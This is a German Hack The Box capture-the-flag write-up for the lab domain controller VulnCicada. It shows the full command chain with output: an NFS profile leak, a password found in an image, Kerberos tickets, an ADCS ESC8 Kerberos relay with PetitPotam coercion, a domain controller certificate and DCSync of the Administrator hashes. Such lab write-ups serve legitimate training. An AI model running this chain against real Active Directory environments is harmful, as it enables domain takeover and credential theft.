← Zurück zu Machines

HTB · published

VulnCicada

Hack The Box CPTS-Track Writeup für VulnCicada: NFS-Profil-Leak, Kerberos-only Zugriff, ADCS ESC8 Kerberos Relay, DC-Maschinenzertifikat und DCSync zu Administrator.

HTBCPTSWriteupActive DirectoryNFSKerberosAD CSESC8DCSyncMachineWindows

Metadaten

  • Name: VulnCicada
  • IP Address: 10.129.234.48
  • Plattform: Windows
  • Kategorie: Active Directory / NFS / Kerberos / ADCS
  • Schwierigkeit: Medium
  • Ziel(e): User, Domain Admin
  • Kurzbeschreibung des Szenarios: VulnCicada ist ein Windows Active Directory Domain Controller, bei dem ein öffentlicher NFS-Export Benutzerprofile preisgibt. Aus einem Bild wird ein Passwort gewonnen, damit wird Kerberos-Zugriff möglich. Die finale Eskalation läuft über ADCS ESC8: Kerberos Relay gegen Web Enrollment, Ausstellung eines Domain-Controller-Zertifikats, Authentifizierung als dc-jpq225$ und DCSync des Administrator-Accounts.

Reconnaissance/ Enumeration

initscan:

nmap -p- --min-rate 5000 -Pn -oN scans/tcp_full.nmap 10.129.234.48
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws

Der Host sieht sofort wie ein Domain Controller aus: DNS, Kerberos, LDAP/LDAPS, SMB, Global Catalog, WinRM und ADWS. Zusätzlich ist NFS auf 2049/tcp offen, was für eine Windows-AD-Box direkt auffällt.

servicescan:

nmap -sCV -O -p 53,80,88,111,135,139,389,445,464,593,636,2049,3268,3269,3389,5985,9389 -Pn -oN scans/tcp_focused_svco.nmap 10.129.234.48
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cicada.vl)
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
2049/tcp  open  nlockmgr      NFS
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing
Service Info: Host: DC-JPQ225; OS: Windows

Wichtige Basisdaten:

  • Domain: cicada.vl
  • DC: DC-JPQ225.cicada.vl
  • CA: cicada-DC-JPQ225-CA
  • SMB Signing: enabled and required
  • NTLM: nicht nutzbar / STATUS_NOT_SUPPORTED
  • Web: IIS Default Page

Hosts-Eintrag:

10.129.234.48 DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl

NFS Enumeration

showmount -e 10.129.234.48
Export list for 10.129.234.48:
/profiles (everyone)

Der Export wurde gemountet:

mount -t nfs -o rw cicada.vl:/profiles /mnt

Das Share spiegelte Benutzerprofile:

Administrator
Daniel.Marshall
Debra.Wright
Jane.Carter
Jordan.Francis
Joyce.Andrews
Katie.Ward
Megan.Simpson
Richard.Gibbons
Rosie.Powell
Shirley.West

Besonders interessant waren zwei Bilddateien:

Administrator/vacation.png
Rosie.Powell/marketing.png

In Rosie.Powell/marketing.png war ein Passwort versteckt bzw. sichtbar:

Cicada123

Damit entstand der erste valide Credential-Kandidat:

Rosie.Powell / Cicada123

Exploitation (Foothold)

Kerberos statt NTLM

Ein direkter SMB-Test mit Passwort schlug über NTLM fehl:

cicada.vl\Rosie.Powell:Cicada123 STATUS_NOT_SUPPORTED

Das war kein normaler Login-Fehler, sondern ein Hinweis auf eine Kerberos-only Umgebung. Deshalb war Zeit-Synchronisierung wichtig:

ntpdate -q 10.129.234.48

Danach wurde ein TGT für Rosie.Powell geholt:

faketime "$(cat recon/dc_time.txt)" impacket-getTGT -dc-ip 10.129.234.48 cicada.vl/Rosie.Powell:Cicada123
[*] Saving ticket in rosie.powell.ccache

Mit Kerberos war die Authentifizierung erfolgreich. Bei der Share-Enumeration waren neben Standards auch ADCS- und Profil-Shares sichtbar:

CertEnroll  READ   Active Directory Certificate Services share
profiles$   READ,WRITE
SYSVOL      READ
NETLOGON    READ

An dieser Stelle war der Foothold nicht eine klassische Shell, sondern ein valider Domain-User mit Kerberos-Ticket.

Lateral Movement / User Escalation

Ein direkter WinRM-/SMB-Weg war durch die Kerberos/NTLM-Situation hakelig. Die interessantere Route war ADCS.

Certipy zeigte die Certificate Authority und Web Enrollment über HTTP:

certipy-ad find -target DC-JPQ225.cicada.vl -u Rosie.Powell@cicada.vl -p Cicada123 -k -vulnerable -stdout
CA Name        : cicada-DC-JPQ225-CA
DNS Name       : DC-JPQ225.cicada.vl
Web Enrollment
  HTTP
    Enabled    : True
  HTTPS
    Enabled    : False
[!] Vulnerabilities
  ESC8         : Web Enrollment is enabled over HTTP.

Wichtig: Die CA selbst war wegen Web Enrollment über HTTP angreifbar. Einzelne Templates waren nicht der eigentliche Einstiegspunkt; der Hebel war das Relaying auf den Web Enrollment Endpoint.

Privilege Escalation (Root / Domain)

ESC8 Kerberos Relay

Normaler NTLM-Relay war in dieser Umgebung nicht sinnvoll, weil NTLM nicht unterstützt wurde und Self-Relay blockiert ist. Deshalb wurde Kerberos Relay genutzt.

Die Route:

  1. Kerberos als Rosie.Powell verwenden.
  2. Einen passenden DNS-Record setzen, der auf die eigene Box zeigt.
  3. Relay gegen ADCS Web Enrollment starten.
  4. DC-Authentifizierung erzwingen.
  5. Zertifikat auf Template DomainController für dc-jpq225$ erhalten.

Beispiel für den DNS-Record:

bloodyAD -u Rosie.Powell -p Cicada123 -d cicada.vl -k --host DC-JPQ225.cicada.vl add dnsRecord DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA 10.10.14.65
[+] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA has been successfully added

Relay gegen Web Enrollment:

certipy relay -target 'http://dc-jpq225.cicada.vl/' -template DomainController
[*] Targeting http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

Die Coercion wurde z. B. über PetitPotam/coerce_plus ausgelöst:

nxc smb DC-JPQ225.cicada.vl -u Rosie.Powell -p Cicada123 -k -M coerce_plus -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

Der erfolgreiche Relay erzeugte ein Zertifikat für den DC-Machine-Account:

[*] Authenticating against http://dc-jpq225.cicada.vl as / SUCCEED
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] Certificate issued with request ID 88
[*] Wrote certificate and private key to 'dc-jpq225.pfx'

Im Workspace lag das erfolgreiche Artefakt als:

privesc/dc.pfx

Authentifizierung als DC-Machine-Account

Das Zertifikat wurde anschließend mit Certipy zur Authentifizierung genutzt:

certipy-ad auth -pfx privesc/dc.pfx -dc-ip 10.129.234.48 -domain cicada.vl
[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC-JPQ225.cicada.vl'
[*] Using principal: 'dc-jpq225$@cicada.vl'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc-jpq225.ccache'
[*] Got hash for 'dc-jpq225$@cicada.vl': aad3b435b51404eeaad3b435b51404ee:a65952c664e9cf5de60195626edbeee3

Damit war Zugriff als Domain-Controller-Machine-Account vorhanden.

DCSync

Der DC-Machine-Account darf Domain-Secrets replizieren. Mit dem dc-jpq225$ Kerberos-Cache wurde der Administrator gedumpt:

KRB5CCNAME=dc-jpq225.ccache impacket-secretsdump -k -no-pass -dc-ip 10.129.234.48 cicada.vl/'dc-jpq225$'@DC-JPQ225.cicada.vl -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a0da53871a9d56b6cd05deda3a5e87:::
Administrator:aes256-cts-hmac-sha1-96:f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a

Da Kerberos zuverlässig funktionierte, wurde mit dem AES-Key ein Administrator-TGT erzeugt:

impacket-getTGT -aesKey f9181ec2240a0d172816f3b5a185b6e3e0ba773eae2c93a581d9415347153e1a -dc-ip 10.129.234.48 cicada.vl/Administrator
[*] Saving ticket in Administrator.ccache

Danach konnte C$ über Kerberos-SMB gelesen werden:

KRB5CCNAME=administrator.ccache python3 shells/smb_kerb_fetch.py DC-JPQ225.cicada.vl 10.129.234.48 cicada.vl Administrator C$ 'Users\Administrator\Desktop'

Auf dem Administrator-Desktop lagen beide Flags:

Users\Administrator\Desktop\root.txt
Users\Administrator\Desktop\user.txt

User Flag:

bcb4f[REDACTED-USER-FLAG]8395

Root Flag:

2a151[REDACTED-ROOT-FLAG]3500

Post-Exploitation

  • User Flag: bcb4f[REDACTED-USER-FLAG]8395
  • Root Flag: 2a151[REDACTED-ROOT-FLAG]3500
  • Start-Credential: Rosie.Powell / Cicada123
  • Maschinenkonto: dc-jpq225$
  • CA: cicada-DC-JPQ225-CA
  • Wichtige Artefakte: rosie.powell.ccache, privesc/dc.pfx, dc-jpq225.ccache, Administrator.ccache
  • Wichtige Technik: NFS Credential Leak → Kerberos Auth → ADCS ESC8 Kerberos Relay → DC Certificate → DCSync

Lessons Learned

  • Ein offener NFS-Export auf einer Windows-AD-Box ist ein riesiges Signal. Hier lag praktisch die initiale Credential-Quelle offen.
  • Wenn SMB mit STATUS_NOT_SUPPORTED antwortet, nicht sofort die Credentials verwerfen. In Kerberos-only Umgebungen ist NTLM schlicht deaktiviert.
  • Kerberos braucht saubere Zeit. ntpdate, faketime und ein korrektes krb5.conf sparen viel Rätselraten.
  • ADCS Web Enrollment über HTTP bleibt kritisch. Auch ohne offensichtlich “vulnerable template” kann ESC8 über Relay der entscheidende Pfad sein.
  • Ein Domain-Controller-Zertifikat ist fast Domain Admin in Zertifikatsform. Wenn daraus ein DC-Machine-TGT entsteht, ist DCSync der nächste logische Schritt.
  • Bei Kerberos Relay ist DNS/SPN-Namensauflösung nicht Beiwerk, sondern oft der eigentliche Trick.

Notizen

  • /profiles früh mounten und Bilder/Metadaten immer prüfen.
  • Bei ADCS immer CertEnroll, Web Enrollment und Templates getrennt bewerten.
  • NTLM-Fehler sauber interpretieren: STATUS_NOT_SUPPORTED bedeutet hier “nutze Kerberos”.
  • Nach Zertifikatsauth immer prüfen, ob ein ccache erzeugt wurde und welcher Principal darin steckt.
  • DCSync-Ausgaben enthalten sensible Hashes und Keys; in öffentlichen Writeups bewusst dosiert verwenden.